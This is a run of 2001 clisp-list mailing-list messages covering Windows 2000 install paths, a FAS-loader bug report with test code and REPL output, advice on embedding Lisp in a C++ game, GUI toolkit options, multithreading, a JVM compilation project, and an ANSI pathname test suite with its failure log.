I think both options are valid for Win2K installations. My from-scratch 
Win2K installation conforms to that described by Rohan Nicholls. It may be 
that when you upgrade a Windows NT 4 installation it leaves the user 
profils in their NT4-standard location under /winnt/.

Randall Schulz
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At 10:49 2001-08-16, you wrote:
 > * On the subject of "[clisp-list] getting clisp to work with Windows2000"
 > * Honorable "Rohan Nicholls" <Rohan.Nicholls@informaat.nl> writes:
 >
 > That is because in win2k they have changed the location of the user's
 > profiles folder to being in the root directory instead of contained
 > within the winnt folder, and changed the name of the folder.

interesting - this is not what I observe on a win2k professional here at work.

I changed install.lisp to use the registry to get the location of the 
common desktop.

(dir-key-single-value :win32 
"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell 
Folders" "Common Desktop")

should return your directory.

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can someone give me shell access to an OpenBSD box?

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On 16 Aug 2001, Sam Steingold wrote:
> I changed install.lisp to use the registry to get the location of the
> common desktop. 
> (dir-key-single-value :win32
>   "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell
>    Folders" "Common Desktop")

thanks. 
that's much better, esp. for foreign versions.



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> * In message <E15XTsT-0001k5-00@usw-sf-web2.sourceforge.net>
> * On the subject of "[ clisp-Support Requests-451722 ] Loading CLIsp"
> * Sent on Thu, 16 Aug 2001 13:36:29 -0700
> * Honorable pjhouk@enteract.com writes:
>
> Support Requests item #451722, was opened at 2001-08-16 13:36
> You can respond by visiting: 
> http://sourceforge.net/tracker/?func=detail&atid=201355&aid=451722&group_id=1355
> 
> Summary: Loading CLIsp
> 
> Initial Comment:
> My name is Philip Houk, pjhouk@enteract.com.

please subscribe to <clisp-list>
(http://lists.sourceforge.net/mailman/listinfo/clisp-list)
and ask your questions there.
we do _not_ do support via the web interface.

> I am loading clisp and am not sure how I should change the last part
> of the config file.

you do not have to - unless you install CLHS locally.

> I am not sure what the Registry is or how to use it?

registry is the win32 entity.
see your manual.

> It seems like the init prog errors out on the defun statement right
> after the Hyperspec note. If you could please help me or send me to
> the appropriate place to find the answer to my question, I would
> appreciate it. THanks.

please send the exact (cut and paste) error message.
also please supply
- your OS version (in _each_ and _every_ message)
- CLISP version: call (lisp-implementation-version)
- where you got your sources and how you built the binary (if applicable)
- where you got the binaries and how you installed them
- what you did, _exactly_, to get the bad behavior

Please note that I am not a psychic.

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>
> I submitted this bug report (FAS-loader problem) and failed to submit
> the sample file due to some browser problem.  Anyway, the file is
> attached.

I observe identical behavior from CMUCL 18c and CLISP.
please try again.

BTW, clisp-devel is a member-only list.
please post to clisp-list or use the SF bug tracker _when logged on_

Thanks for your bug report.

*****

Sorry about incorrect use of the bug tracker and clisp-devel.

The following is a sequence of dribble output, first from debian
CMUCL, and next from CVS-as-of-2001-Aug-17-11AM CLISP.  I forgot to
mention what platform I'm working on:
        uname -a
        Linux debian 2.4.3 #2 Sun Apr 8 14:07:16 EDT 2001 i686 unknown

"structtest.lisp" source file:
+++++++
(defun required-argument ()
  (error "A required argument was not supplied"))

(eval-when (:compile-toplevel :load-toplevel :execute)
  (defstruct (struct (:constructor make-struct (slot)))
    (slot (required-argument) :type cons)))

(defmethod make-load-form ((obj struct) &optional env)
    (declare (ignore env))
    (make-load-form-saving-slots obj))

(defun handle-struct (struct)
  (format t "~A" (struct-slot struct)))

(defmacro test ()
  `(let ()
    (let ((var (make-struct (list 10))))
      `(progn
	(eval-when (:compile-toplevel :load-toplevel :execute)
	  (handle-struct ',var))))))

(defmacro moretest()
  (test))
+++++

"structtest1.lisp" contains the single form "(moretest)".

Here's the dribble output:

+++++ <CMUCL output>
* (lisp-implementation-version)

"release x86-linux 2.5.2 18c+  2 May 2001 build 2173"
* (compile-file "structtest.lisp")

Python version 1.0, VM version Intel x86 on 17 AUG 01 11:37:16 am.
Compiling: /home/dave/packages/sbcl-work1/structtest.lisp 16 AUG 01 09:25:43 pm

Converted REQUIRED-ARGUMENT.
Compiling DEFUN REQUIRED-ARGUMENT: 
Byte Compiling Top-Level Form: 
Converted MAKE-STRUCT.
Compiling DEFSTRUCT STRUCT: 
Converted |(PCL::FAST-METHOD MAKE-LOAD-FORM (STRUCT))|.
Compiling DEFMETHOD MAKE-LOAD-FORM (STRUCT): 
Converted HANDLE-STRUCT.
Compiling DEFUN HANDLE-STRUCT: 
Converted TEST.
Compiling DEFMACRO TEST: 
Converted MORETEST.
Compiling DEFMACRO MORETEST: 
Byte Compiling Top-Level Form: 

structtest.x86f written.
Compilation finished in 0:00:01.

#p"/home/dave/packages/sbcl-work1/structtest.x86f"
NIL
NIL
* (load "structtest")

; Loading #p"/home/dave/packages/sbcl-work1/structtest.x86f".
T
* (compile-file "structtest1.lisp")

Python version 1.0, VM version Intel x86 on 17 AUG 01 11:37:40 am.
Compiling: /home/dave/packages/sbcl-work1/structtest1.lisp 16 AUG 01 08:59:43 pm

(10)Byte Compiling Top-Level Form: 

structtest1.x86f written.
Compilation finished in 0:00:00.

#p"/home/dave/packages/sbcl-work1/structtest1.x86f"
NIL
NIL
* (load "structtest1")

; Loading #p"/home/dave/packages/sbcl-work1/structtest1.x86f".
(10)
T

+++++++++ <CVS CLISP output>
[2]> (lisp-implementation-version)
"2.27.1 (released 2001-07-17) (built 3207050781) (memory 3207051035)"
[3]> (compile-file "structtest.lisp")

Compiling file /home/dave/packages/sbcl-work1/structtest.lisp ...

Compilation of file /home/dave/packages/sbcl-work1/structtest.lisp is finished.
0 errors, 0 warnings
#P"/home/dave/packages/sbcl-work1/structtest.fas" ;
NIL ;
NIL
[4]> (load "structtest")
;; Loading file /home/dave/packages/sbcl-work1/structtest.fas ...
;; Loading of file /home/dave/packages/sbcl-work1/structtest.fas is finished.
T
[5]> (compile-file "structtest1.lisp")

Compiling file /home/dave/packages/sbcl-work1/structtest1.lisp ...(10)

Compilation of file /home/dave/packages/sbcl-work1/structtest1.lisp is finished.
0 errors, 0 warnings
#P"/home/dave/packages/sbcl-work1/structtest1.fas" ;
NIL ;
NIL
[6]> (load "structtest1")
;; Loading file /home/dave/packages/sbcl-work1/structtest1.fas ...
*** - A required argument was not supplied
1. Break [7]> 



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> * In message <87bsleis5h.fsf@idirect.com>
> * On the subject of "[clisp-list] more detail about bug report 451901"
> * Sent on 17 Aug 2001 12:10:34 -0400
> * Honorable Dave MacDonald <davidm@idirect.com> writes:
>
> [6]> (load "structtest1")
> ;; Loading file /home/dave/packages/sbcl-work1/structtest1.fas ...
> *** - A required argument was not supplied

I just fixed this bug.
thanks for reporting it.
please try again.

please submit further bug reports to the tracker _when logged on_ (this
way you will get notified by e-mail when the bug is fixed).

[the official policy is that the release users should report bug and ask
questions here, on <clisp-list>, while the users of the development CVS
tree should subscribe to <clisp-devel> and report bugs there]

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I'm writing a game in C++, but I'd like to have Lisp scripting integrated
into it for the following functions:

Game Server: 
 - `command shell', and command scripting, some UI scripting.
 - Game object scripting
 - Config files

Client:
 - Much of the client's UI will be handled in Lisp, for a customizable
   L&F.

The game object scripting I'd like to be somewhat in the style of LPC.
Each source file is an object, public functions defined within that file
are available for other objects (using something similar to LPC's
call_other) and the underlying C++ class. It may be better/easier to
use CLOS, but I haven't looked into that much yet.

I'm in the middle of writing my own Lisp interpreter, but I noticed 
someone say something about embedding with CLISP on comp.lang.lisp.

I'm sure that CLISP would be able to do a better job, speed and efficiency 
wise, than any Lisp interpreter I produce. My own is stripped extremely
bare of functionality, still in its early buggy stages.

Could anyone please provide me with info, or where to get it, on embedding
with CLISP?

Secondly, I'm unable to get clisp.cons.org or www.cons.org. The router
at 165.113.22.149 goes into a loop with itself until TTL expires. Every 
comp with net access I've tried does this. Are there any mirrors?

Thirdly, I've already investigated and rejected:
 - siod
 - umb-scheme
 - MIT scheme
 - elisp
 - ECLS
 - VSLisp
 - ELK
 - GCL
 - Guile

   ..and a few others I can't recall, as a suitable embedded Lisp/Lisp-like
      system.

Thanks,
>> DeSigna.

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Andrew Topp wrote:
> Thirdly, I've already investigated and rejected:
>  - siod
>  - umb-scheme
>  - MIT scheme
>  - elisp
>  - ECLS
>  - VSLisp
>  - ELK
>  - GCL
>  - Guile
>
>    ..and a few others I can't recall, as a suitable embedded Lisp/Lisp-like
>       system.

Have you looked at librep (http://librep.sourceforge.net/)?



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> * In message <Pine.LNX.4.10.10108201417530.11837-100000@magellian.telekinesis.org.au>
> * On the subject of "[clisp-list] Using CLISP as a scripting language"
> * Sent on Mon, 20 Aug 2001 14:45:59 -0400 (EDT)
> * Honorable Andrew Topp <talmakion@yahoo.com.au> writes:
>
> I'm writing a game in C++, but I'd like to have Lisp scripting

I urge you to write the whole thing using CLOS and use the FFI to run
things which _have_ to be in C.
You will win on many accounts, mostly with automatic memory management,
interactive development (==> short cycle), and the power of CLOS.

Lisps (except for those which are designed to be embedded, like ECLS or
ELK which you have rejected already :-) have an unfortunate tendency of
thinking of themselves as being only the masters.  FFIs usually call
other languages, not allow Lisp to be called from them.
There is a good reason for that - you can easily embed assembly code in
C, but not vice versa (who would want to call C from assembly?), and
since Lisp is higher level than any other widely deployed language, you
would not want to call it from those other inferior beasts.

Thus I repeat my suggestion: use C/C++ to implement the system-level
functionality which have to be very fast, and do the main coding in
CLOS.  This is the right design path!

> Secondly, I'm unable to get clisp.cons.org or www.cons.org. The router
> at 165.113.22.149 goes into a loop with itself until TTL
> expires. Every comp with net access I've tried does this. Are there
> any mirrors?

cons.org is dead until further notice.
this is beyond our control.
please use clisp.sf.net for now.

> Thirdly, I've already investigated and rejected:
>  - siod
>  - umb-scheme
>  - MIT scheme
>  - elisp
>  - ECLS
>  - VSLisp
>  - ELK
>  - GCL
>  - Guile

the list is impressive.
librep, guile and elisp have been successfully used as scripting
languages for large C programs, librep and guile having been designed
for that specific purpose.
I discourage you from using elisp and librep since they implement
non-standard dialects of Lisp.
I do not recommend guile either since the standard part is too tiny to
be usable for real programming and the extensions (object and package
systems) are non-standard.

Thus I repeat my suggestion - use CLOS for everything except for
speed-critical parts _after_ profiling.

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Hello

What GUIs are commonly used in lisp applications?
Garnet seems quite big, but it is not developed
anymore. Is McClim or SLIK stable enough to use?
What about wxWindows? There is wxclisp 
(http://www.anthemion.co.uk/wxclips/) but it 
seems obsolete? Is any of the guis portable
for win32 and x?

- Einar Karttunen



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> * In message <20010822102616.A19149@cs.helsinki.fi>
> * On the subject of "[clisp-list] lisp and GUIs"
> * Sent on Wed, 22 Aug 2001 10:26:16 +0300
> * Honorable Einar Karttunen <ekarttun@cs.Helsinki.FI> writes:
>
> What GUIs are commonly used in lisp applications?
> Is any of the guis portable for win32 and x?

at the moment I can only recommend using socket interface to your
browser, like INSPECT in CLISP and CLOCC/CLLIB.

we _are_ interested in adding a GUI toolkit to CLISP.
wxWindows, TK, Qt are the options.
would you like to work on this?

-- 
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On Wed, 22 Aug 2001 10:26:16 +0300, Einar Karttunen
<ekarttun@cs.Helsinki.FI> wrote:

> What GUIs are commonly used in lisp applications?

What are your requirements for a GUI?


> anymore. Is McClim or SLIK stable enough to use?

McCLIM (a.k.a. Free CLIM) is still under development and it lacks some CLIM
features, most notably presentation types, but work on it is increasing and
there are new developers contributing to the project. The development
mailing list provides a steady flow of commit logs.

As for SLIK, I think it's mainly used in the radiation treatment planning
system (PRISM) that motivated its development.


Paolo
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> * In message <Pine.LNX.4.33.0104280158110.26527-100000@dlin.resnet.sunysb.edu>
> * On the subject of "[clisp-list] CLISP Binary on RedHat 7.1"
> * Sent on Sat, 28 Apr 2001 01:59:37 -0400 (EDT)
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>
> I've compiled clisp on my RedHat 7.1 linux box.
> http://www.sinc.sunysb.edu/stu/dlin/clisp/
would you like to maintain CLISP RPMs?

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On Wed, Aug 22, 2001 at 09:32:46AM -0400, Sam Steingold wrote:
> > * Sent on Wed, 22 Aug 2001 10:26:16 +0300
> > * Honorable Einar Karttunen <ekarttun@cs.Helsinki.FI> writes:
> >
> > What GUIs are commonly used in lisp applications?
> > Is any of the guis portable for win32 and x?
> 
> at the moment I can only recommend using socket interface to your
> browser, like INSPECT in CLISP and CLOCC/CLLIB.
> 
> we _are_ interested in adding a GUI toolkit to CLISP.
> wxWindows, TK, Qt are the options.
> would you like to work on this?

wxWindows and Qt are C++ libraries.  So if you want to use the FFI  to
create bindings for them, you will first have to extend the FFI to
also support C++.

Or is it possible (and practical) to use the FFI for C++, already?

Regards,
Peter


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What is the actual status of multithreading in CLISP? I've heard about
more and more people working on LISP based Web systems, and most wish
they had multithreading. CLISP multithreading would be extremely
valuable.

I know that you have limited resources and various priorities, but I
saw that it was being developed at one point. What has been done
recently?

What will it take to do, and how easy would it be to contribute to
adding multi-threading? I myself would like to have it, but don't know
how much I can contribute.

Also one more question. It doesn't seem possible to bind a socket to
listen on a given interface. How can I bind a socket that will listen
on anything other than 127.0.0.1?

Thanks for the work you've done!

Dan Lakeland

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> * In message <20010823091621.A695@silcon.com>
> * On the subject of "[clisp-list] Re: Multithreading in CLISP"
> * Sent on Thu, 23 Aug 2001 09:16:21 -0700
> * Honorable Daniel Lakeland <dlakelan@silcon.silcon.com> writes:
>
> What will it take to do, and how easy would it be to contribute to
> adding multi-threading?

try building CLISP with -DMULTITHREAD and make it work on your platform.

> It doesn't seem possible to bind a socket to listen on a given
> interface. How can I bind a socket that will listen on anything other
> than 127.0.0.1?

I don't understand the question, but I think that the answer is
http://clisp.cons.org/impnotes.html#socket

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Peter Wood schrieb:
> On Wed, Aug 22, 2001 at 09:32:46AM -0400, Sam Steingold wrote:
> > > * Sent on Wed, 22 Aug 2001 10:26:16 +0300
> > > * Honorable Einar Karttunen <ekarttun@cs.Helsinki.FI> writes:
> > >
> > > What GUIs are commonly used in lisp applications?
> > > Is any of the guis portable for win32 and x?
> >
> > at the moment I can only recommend using socket interface to your
> > browser, like INSPECT in CLISP and CLOCC/CLLIB.
> >
> > we _are_ interested in adding a GUI toolkit to CLISP.
> > wxWindows, TK, Qt are the options.
> > would you like to work on this?
> 
> wxWindows and Qt are C++ libraries.  So if you want to use the FFI  to
> create bindings for them, you will first have to extend the FFI to
> also support C++.
> 
> Or is it possible (and practical) to use the FFI for C++, already?

if you know exactly with which compiler version the c++ dll was compiled, 
it is possible now. you can just call any c++ function with the unmangled 
name. 
are there any other issues with callbacks and probably new/delete I oversaw?

if so we'll have to provide a wrapper dll which does the c++ memory
management.
this wrapper has to be produced automatically. the pythonwin folks (marc
hammond) 
did it by hand, but it was a lot of work. same for com 

just tried the mentioned wxclips. this is really old, but it works. 
even the html viewer and dialog builder.
so there is a successful wxwindows port for PLT scheme and clips.
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Looking at the Tasks page at sf.net, I followed the JVM Compilation
link to find No Matching Tasks ... Is this still a wanted feature for
clisp?  If so I am very interested.

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> * In message <Pine.LNX.4.30.0108231916160.25949-100000@cherryville.org>
> * On the subject of "[clisp-list] JVM Compilation"
> * Sent on Thu, 23 Aug 2001 19:22:23 -0600 (MDT)
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> Looking at the Tasks page at sf.net, I followed the JVM Compilation
> link to find No Matching Tasks ... Is this still a wanted feature for
> clisp?  If so I am very interested.

this is a _very_ wanted feature.
would you like to work on it?

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I'm trying to use FFI on win32. In the impnotes.html document (with
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Function Call Facility", there are two linking examples (29.4, 29.5),
but both make use of the module facility ("Extensions-2.2. External
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Could someone provide similar examples for win32?

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Sam Steingold wrote:
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> > * In message <Pine.LNX.4.30.0108231916160.25949-100000@cherryville.org>
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> > * Sent on Thu, 23 Aug 2001 19:22:23 -0600 (MDT)
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> > Looking at the Tasks page at sf.net, I followed the JVM Compilation
> > link to find No Matching Tasks ... Is this still a wanted feature for
> > clisp?  If so I am very interested.
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> this is a _very_ wanted feature.
> would you like to work on it?

Yes I would.  Where can I get the specifics?



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Has someone done an evaluation on the tasks required for JVM Compilation? 
Has a plan been developed?

Randy

-----Original Message-----
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> * In message <Pine.LNX.4.30.0108231916160.25949-100000@cherryville.org>
> * On the subject of "[clisp-list] JVM Compilation"
> * Sent on Thu, 23 Aug 2001 19:22:23 -0600 (MDT)
> * Honorable Dave <dave@cherryville.org> writes:
>
> Looking at the Tasks page at sf.net, I followed the JVM Compilation
> link to find No Matching Tasks ... Is this still a wanted feature for
> clisp?  If so I am very interested.

this is a _very_ wanted feature.
would you like to work on it?

--
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<http://www.i-charity.com/go/israel>
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<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Sam Steingold [<A =
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<BR><FONT SIZE=3D2>Sent: Friday, August 24, 2001 9:28 AM</FONT>
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<P><FONT SIZE=3D2>&gt; * In message =
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<BR><FONT SIZE=3D2>&gt; * On the subject of &quot;[clisp-list] JVM =
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<P><FONT SIZE=3D2>this is a _very_ wanted feature.</FONT>
<BR><FONT SIZE=3D2>would you like to work on it?</FONT>
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<P><FONT SIZE=3D2>--</FONT>
<BR><FONT SIZE=3D2>Sam Steingold (<A =
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> * In message <Pine.LNX.4.30.0108240858311.31033-100000@cherryville.org>
> * On the subject of "Re: [clisp-list] JVM Compilation"
> * Sent on Fri, 24 Aug 2001 09:03:29 -0600 (MDT)
> * Honorable Dave <dave@cherryville.org> writes:
>
> Sam Steingold wrote:
> > * Honorable Dave <dave@cherryville.org> writes:
> > > Looking at the Tasks page at sf.net, I followed the JVM Compilation
> > > Is this still a wanted feature for CLISP?  If so I am very interested.
> > this is a _very_ wanted feature.
> > would you like to work on it?
> Yes I would.  Where can I get the specifics?

How familiar with JVM are you?
How familiar with CLISP bytecodes are you?
start with reading the appropriate impnotes parts, bytecode.d and eval.d
get and build CVS CLISP.
subscribe to clisp-devel and discuss this matter there.

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Dear all,

As was requested a while back, I've made a sorta test suite for
pathname handling, available from
<URL:http://www-jcsu.jesus.cam.ac.uk/~csr21/pathname-tests.lisp"> or
cCLan CVS; I hope you don't mind me saying that clisp 2.27's behaviour
isn't too great...

To see the results, load the above file into a clisp session running
on Unix (there are just one or two unix-specific bits), and type
(run-tests). Diagnostics and information about failures will be sent
to the *trace-output* stream.

Thanks,

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> * In message <20010824165738.A12803@cam.ac.uk>
> * On the subject of "[clisp-list] Pathname tests"
> * Sent on Fri, 24 Aug 2001 16:57:38 +0100
> * Honorable Christophe Rhodes <csr21@cam.ac.uk> writes:
>
> As was requested a while back, I've made a sorta test suite for
> pathname handling, available from
> <URL:http://www-jcsu.jesus.cam.ac.uk/~csr21/pathname-tests.lisp"> or
> cCLan CVS;

the link is broken (the one you sent c.l.l is broken too)

> I hope you don't mind me saying that clisp 2.27's behaviour
> isn't too great...

only if your tests check ANSI compliance and not CMUCL compliance.



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On Fri, Aug 24, 2001 at 12:16:53PM -0400, Sam Steingold wrote:
> > * In message <20010824165738.A12803@cam.ac.uk>
> > * On the subject of "[clisp-list] Pathname tests"
> > * Sent on Fri, 24 Aug 2001 16:57:38 +0100
> > * Honorable Christophe Rhodes <csr21@cam.ac.uk> writes:
> >
> > As was requested a while back, I've made a sorta test suite for
> > pathname handling, available from
> > <URL:http://www-jcsu.jesus.cam.ac.uk/~csr21/pathname-tests.lisp"> or
> > cCLan CVS;
> 
> the link is broken (the one you sent c.l.l is broken too)

Thanks -- I believe this is now fixed. Apologies for that.
 
> > I hope you don't mind me saying that clisp 2.27's behaviour
> > isn't too great...
> 
> only if your tests check ANSI compliance and not CMUCL compliance.

Again, if you[*] feel that you disagree with my interpretation of the
specification or that my tests are buggy, please let me know; a buggy
set of tests is probably worse than no tests at all.

Note that these tests were developed with the HyperSpec as sole
reference; while I admit I could be wrong on any number of points
(though I don't think so; I've read this section of the specification
fairly closely) I think that even an implicit accusation of
implementation-bias (before seeing the code!) is a little harsh. 

Cheers,

Christophe

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> * In message <20010824173940.A13088@cam.ac.uk>
> * On the subject of "Re: [clisp-list] Pathname tests"
> * Sent on Fri, 24 Aug 2001 17:39:40 +0100
> * Honorable Christophe Rhodes <csr21@cam.ac.uk> writes:
>
> > > <URL:http://www-jcsu.jesus.cam.ac.uk/~csr21/pathname-tests.lisp> 
> > the link is broken (the one you sent c.l.l is broken too)
> Thanks -- I believe this is now fixed. Apologies for that.

works now - thanks!

the file is largely useless as it is right now since it prints lots of
junk (like this:

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This implementation has raised the following error on execution of ANSI-compliant code:
...
Please fix this bug before continuing.
------
which is irrelevant) and does not print the _form_ which resulted in the
error.
it also dies on the first error.

I suggest that you look at the CLOCC/src/tools/ansi-tests and the CLISP
test suite (on which the CLOCC tests are based).
It would be nice if your test could be added to those test suites.

I wish I could investigate the CLISP errors - I cannot now since I do
not have the form(s?) that generate errors (I want to see _all_ of them
before I delve into this) and I do not have time to read your code.
Sorry.

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On Fri, Aug 24, 2001 at 02:33:19PM -0400, Sam Steingold wrote:
> > * In message <20010824173940.A13088@cam.ac.uk>
> > * On the subject of "Re: [clisp-list] Pathname tests"
> > * Sent on Fri, 24 Aug 2001 17:39:40 +0100
> > * Honorable Christophe Rhodes <csr21@cam.ac.uk> writes:
> >
> > > > <URL:http://www-jcsu.jesus.cam.ac.uk/~csr21/pathname-tests.lisp> 
> > > the link is broken (the one you sent c.l.l is broken too)
> > Thanks -- I believe this is now fixed. Apologies for that.
> 
> works now - thanks!
> 
> the file is largely useless as it is right now since it prints lots of
> junk (like this:
> 
> ------
> A serious error has occurred.
>  
> This implementation has raised the following error on execution of ANSI-compliant code:
> ...
> Please fix this bug before continuing.
> ------
> which is irrelevant) 

This is not irrelevant at all, though admittedly it isn't as helpful
as it might be; since the error message (that you snipped) comes from
clisp's condition system perhaps you should treat that as a bug report
too.

There are two issues, only one of which this code is testing; one is
making sure that `answers' from pathname functions are right; the
other is that errors are not thrown when executing compliant code. I
am not testing the latter; if an implementation throws errors when
executing valid code, it's broken beyond the remit of my tests; I'm
testing for mistakes in the interpretation/reading of the standard.

Now, the error message that you snipped above is probably:

---
TRANSLATE-PATHNAME: replacement pieces ((:DIRECTORY "infix") "infix"
"1") do not fit into #P"UNIX:USR;SHARE;COMMON-LISP;SOURCE;**;*.LISP.*"
---

which is telling you that in non-ANSI mode
logical-pathname-translations and friends are not entirely happy (it's
interpreted #P"UNIX:USR;SHARE;COMMON-LISP;SOURCE;**;*.LISP.*" as a
physical pathname (with a very long name). This should have been a
clue; I'm sorry it wasn't obvious enough.

> I suggest that you look at the CLOCC/src/tools/ansi-tests and the CLISP
> test suite (on which the CLOCC tests are based).

I suggest that when you test your implementation for ANSI compliance
you run it in ANSI mode; it's not all that surprising that odd effects
occur when you don't; I'm not trying to evaluate the bizarre dialect
that is clisp in non-ANSI mode.

> It would be nice if your test could be added to those test suites.

Yes; the problem lies in constructing things that can lie in an
already-established framework. The problem in doing this is that often
there is no uniquely-determined answer (should the device be nil or
:unspecific? What should the version be in (make-pathname)?) and so
it isn't quite as simple as just copying and pasting into an existing
test framework.

> I wish I could investigate the CLISP errors - I cannot now since I do
> not have the form(s?) that generate errors (I want to see _all_ of them
> before I delve into this) and I do not have time to read your code.
> Sorry.

I have attached the results of running the code on clisp 2.27 in ansi
mode (with the -ansi command-line option) on my Debian Unix system. I
hope that the output is sufficiently clear; if you're not going to be
reading the code at all, you may need to know that "UNIX" and
"CL-LIBRARY" are defined as logical hosts. It may be that the output
is insufficiently detailed to enable you to pinpoint errors, but I
hope that it will provide sufficient motivation to look at those
routines that seem to be causing problems. 

Cheers,

Christophe
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======================================================================
TRANSLATE-LOGICAL-PATHNAME tests
----------------------------------------------------------------------

======================================================================
PARSE-NAMESTRING tests
----------------------------------------------------------------------

Mistake in parse-namestring.

Parsing "FOO;BAR.LISP.3", expected #S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL
   :DIRECTORY (:ABSOLUTE "FOO") :NAME "BAR" :TYPE "LISP" :VERSION 3), but got
#S(LOGICAL-PATHNAME :HOST NIL :DEVICE NIL :DIRECTORY (:ABSOLUTE "FOO")
   :NAME "BAR" :TYPE "LISP" :VERSION 3).

Mistake in parse-namestring.

Parsing "FOO;BAR.LISP.3", expected #S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL
   :DIRECTORY (:ABSOLUTE "FOO") :NAME "BAR" :TYPE "LISP" :VERSION 3), but got
#S(LOGICAL-PATHNAME :HOST NIL :DEVICE NIL :DIRECTORY (:ABSOLUTE "FOO")
   :NAME "BAR" :TYPE "LISP" :VERSION 3).

======================================================================
MERGE-PATHNAME tests
----------------------------------------------------------------------

Merging #P"/tmp/foo.bar" with defaults #P"baz/quux.lisp".

----------------------------------------------------------------------

Merging #P"baz/quux.lisp" with defaults #P"/tmp/foo.bar".

----------------------------------------------------------------------

Merging 
#S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL :DIRECTORY (:ABSOLUTE "TMP")
   :NAME "FOO" :TYPE "BAR" :VERSION NIL) with defaults 
#S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL :DIRECTORY (:RELATIVE "BAZ")
   :NAME "QUUX" :TYPE "LISP" :VERSION NIL).

----------------------------------------------------------------------

Merging 
#S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL :DIRECTORY (:RELATIVE "BAZ")
   :NAME "QUUX" :TYPE "LISP" :VERSION NIL) with defaults 
#S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL :DIRECTORY (:ABSOLUTE "TMP")
   :NAME "FOO" :TYPE "BAR" :VERSION NIL).

----------------------------------------------------------------------

Merging 
#S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL :DIRECTORY (:RELATIVE "FOO" "BAR")
   :NAME NIL :TYPE NIL :VERSION NIL) with defaults 
#S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL :DIRECTORY (:RELATIVE "BAZ")
   :NAME "QUUX" :TYPE "LISP" :VERSION 3).

Mistake in merge-pathnames.

Incorrect answer; expected #S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL
   :DIRECTORY (:RELATIVE "BAZ" "FOO" "BAR") :NAME "QUUX" :TYPE "LISP"
   :VERSION 3), received #S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL
   :DIRECTORY (:RELATIVE "FOO" "BAR") :NAME "QUUX" :TYPE "LISP"
   :VERSION :NEWEST).

----------------------------------------------------------------------

Merging 
#S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL :DIRECTORY (:RELATIVE "BAZ")
   :NAME "QUUX" :TYPE "LISP" :VERSION 3) with defaults 
#S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL :DIRECTORY (:RELATIVE "FOO" "BAR")
   :NAME NIL :TYPE NIL :VERSION NIL).

Mistake in merge-pathnames.

Incorrect answer; expected #S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL
   :DIRECTORY (:RELATIVE "FOO" "BAR" "BAZ") :NAME "QUUX" :TYPE "LISP"
   :VERSION 3), received #S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL
   :DIRECTORY (:RELATIVE "BAZ") :NAME "QUUX" :TYPE "LISP" :VERSION 3).

----------------------------------------------------------------------

Merging 
#S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL :DIRECTORY (:RELATIVE) :NAME "FOO"
   :TYPE NIL :VERSION NIL) with defaults 
#S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL :DIRECTORY (:RELATIVE) :NAME "BAR"
   :TYPE "LISP" :VERSION 3).

----------------------------------------------------------------------

Merging 
#S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL :DIRECTORY (:RELATIVE) :NAME "BAR"
   :TYPE "LISP" :VERSION 3) with defaults 
#S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL :DIRECTORY (:RELATIVE) :NAME "FOO"
   :TYPE NIL :VERSION NIL).

----------------------------------------------------------------------

Testing default-version handling.

----------------------------------------------------------------------

======================================================================
COMPILE-FILE-PATHNAME tests
----------------------------------------------------------------------

Testing compile-file-pathname with pathname as #P"/tmp/foo.lisp".

----------------------------------------------------------------------

Testing compile-file-pathname with pathname as 
#S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL :DIRECTORY (:ABSOLUTE "TMP")
   :NAME "FOO" :TYPE "LISP" :VERSION NIL).

Mistake in compile-file-pathname.

One or more of host, device, directory and name in 
#S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL :DIRECTORY (:ABSOLUTE "TMP")
   :NAME "FOO" :TYPE "LISP" :VERSION NIL)
has not been preserved by compile-file-pathname, which returned
#S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL :DIRECTORY (:ABSOLUTE) :NAME "FOO"
   :TYPE "FAS" :VERSION :NEWEST).

----------------------------------------------------------------------

======================================================================
MAKE-PATHNAME tests
----------------------------------------------------------------------

Testing make-pathname defaults with *default-pathname-defaults* as:
#P""

----------------------------------------------------------------------

Testing make-pathname defaults with *default-pathname-defaults* as:
#P"/tmp/foo/bar.baz.3"

----------------------------------------------------------------------

Testing make-pathname defaults with *default-pathname-defaults* as:
#S(LOGICAL-PATHNAME :HOST "CL-LIBRARY" :DEVICE NIL :DIRECTORY (:ABSOLUTE "FOO")
   :NAME "BAR" :TYPE "BAZ" :VERSION 3)

Host handling in defaults wrong.

The host in the return from (make-pathname) should be the same as the
host in *default-pathname-defaults*; here
(pathname-host *default-pathname-defaults*) => "CL-LIBRARY", while
(pathname-host (make-pathname)) => NIL.

Host handling in defaults wrong.

The host in the return from
(make-pathname :defaults *default-pathname-defaults*)
should be the same as the host in *default-pathname-defaults*; here
(pathname-host *default-pathname-defaults*) => "CL-LIBRARY", while
(pathname-host (make-pathname :defaults *default-pathname-defaults*)) => NIL.

Version handling in defaults wrong.

The version in the return from
(make-pathname :defaults *default-pathname-defaults*)
should be the same as the version in *default-pathname-defaults*
(here 3), but
(pathname-version (make-pathname :defaults *default-pathname-defaults*)) => NIL.

----------------------------------------------------------------------

======================================================================
NAMESTRING tests
----------------------------------------------------------------------

